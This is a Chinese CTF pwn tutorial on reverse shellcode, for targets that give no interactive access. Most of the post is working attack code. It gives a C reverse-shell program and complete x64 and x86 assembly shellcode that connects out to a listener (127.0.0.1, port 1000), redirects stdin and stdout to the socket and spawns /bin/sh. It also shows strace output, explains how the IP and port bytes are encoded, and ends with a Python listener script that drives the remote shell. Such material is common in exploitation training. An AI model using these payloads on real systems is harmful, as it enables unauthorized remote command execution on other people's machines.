有时候会遇到靶机不支持交互的情况,这时候就需要我们执行反向shellcode来拿shell。
实验文件打包下载:http://file.eonew.cn/ctf/pwn/reverse_shellcode.zip 。
目录
reverse_shell.c
#include <sys/socket.h> //构造socket所需的库
#include <netinet/in.h> //定义sockaddr结构
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
extern int errno;
int main()
{
int soc, remote; //文件描述符句柄
struct sockaddr_in serv_addr; //保存IP/端口值的结构
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //将socket的地址设置为所有本地地址
serv_addr.sin_port = htons(1000); //设置socket的端口48059
serv_addr.sin_family = AF_INET; //设置协议族:IP
soc = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
remote = connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in));
if (remote == -1)
{
puts(strerror(errno));
}
dup2(soc, 0); //将stdin连接client
dup2(soc, 1); //将stdout连接client
// dup2(soc, 2); //将strderr连接到client
execve("/bin/sh", NULL, NULL); //建立一个shell
return 0;
}
64位
;// compiled : gcc -c reverse_shellcode_x64.s
;// ld -e main reverse_shellcode_x64.o -o reverse_shellcode_x64
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov rdi, 2
mov rsi, 1
mov rdx, 0
mov rax, 41 ;// SYS_socket
syscall
;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
mov rdi, rax
mov rax, 0x0100007fe8030002
push rax
mov rsi, rsp
mov rdx, 16
mov rax, 42 ;// SYS_connect
syscall
;// dup2(soc, 0)
mov rdi, 3
mov rsi, 0
mov rax, 33 ;// SYS_dup2
syscall
;// dup2(soc, 1)
mov rdi, 3
mov rsi, 1
mov rax, 33 ;// SYS_dup2
syscall
;// execve("/bin/sh", NULL, NULL)
mov rax,0x0068732f6e69622f
push rax
mov rdi,rsp
mov rax,59
mov rsi,0
mov rdx,0
syscall
;// exit(0)
mov rdi, 0
mov rax, 60
syscall
运行实例
ex@Ex:~/test$ strace ./reverse_shellcode_x64
execve("./reverse_shellcode_x64", ["./reverse_shellcode_x64"], 0x7ffc54cbcb70 /* 70 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1000), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
execve("/bin/sh", NULL, NULL) = 0
32位
;// compiled : gcc -c -m32 reverse_shellcode_x86.s
;// ld -e main -melf_i386 reverse_shellcode_x86.o -o reverse_shellcode_x86
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
push 0
push 1
push 2
mov ecx, esp
mov ebx, 1 ;// socket
mov eax, 102 ;// SYS_socketcall
int 0x80
;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x0100007f
push 0xe8030002
mov edx, esp ;// Save the address of the structure
push 0x10
push edx
push 3 ;// fd
mov ecx, esp
mov ebx, 3 ;// connect
mov eax, 102 ;// SYS_socketcall
int 0x80
;// dup2(soc, 0)
mov ebx, 3
mov ecx, 0
mov eax, 63 ;// SYS_dup2
int 0x80
;// dup2(soc, 1)
mov ebx, 3
mov ecx, 1
mov eax, 63 ;// SYS_dup2
int 0x80
;// execve("/bin/sh", NULL, NULL)
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80
;// exit(0)
mov ebx, 0
mov eax, 1
int 0x80
运行实例
ex@Ex:~/test$ strace ./reverse_shellcode_x86
execve("./reverse_shellcode_x86", ["./reverse_shellcode_x86"], 0x7fff669cecf0 /* 70 vars */) = 0
strace: [ Process PID=8138 runs in 32 bit mode. ]
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1000), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
execve("/bin/sh", NULL, NULL) = 0
上面两段shellcode中的0100007f
是ip地址
,表示的是127.0.0.1
,e8030002
中的e803
其实是03e8
,也就是1000端口
,而0002
表示的是AF_INET
。
控制脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket # 导入 socket 模块
import thread
def print_recv(s):
while(s):
result = s.recv(1024)
if(result):
print(result)
else:
return
s = socket.socket() # 创建 socket 对象
host = '0.0.0.0' # 获取本地主机名
port = 1000 # 设置端口
s.bind((host, port)) # 绑定端口
s.listen(1) # 等待客户端连接
while True:
c, addr = s.accept() # 建立客户端连接
print ('连接地址:' + str(addr))
try:
thread.start_new_thread(print_recv, (c, ))
while(True):
c.send(raw_input() + '\n')
except Exception as e:
print(e)
print("Disconnect")
c.close()
参考资料:https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html 。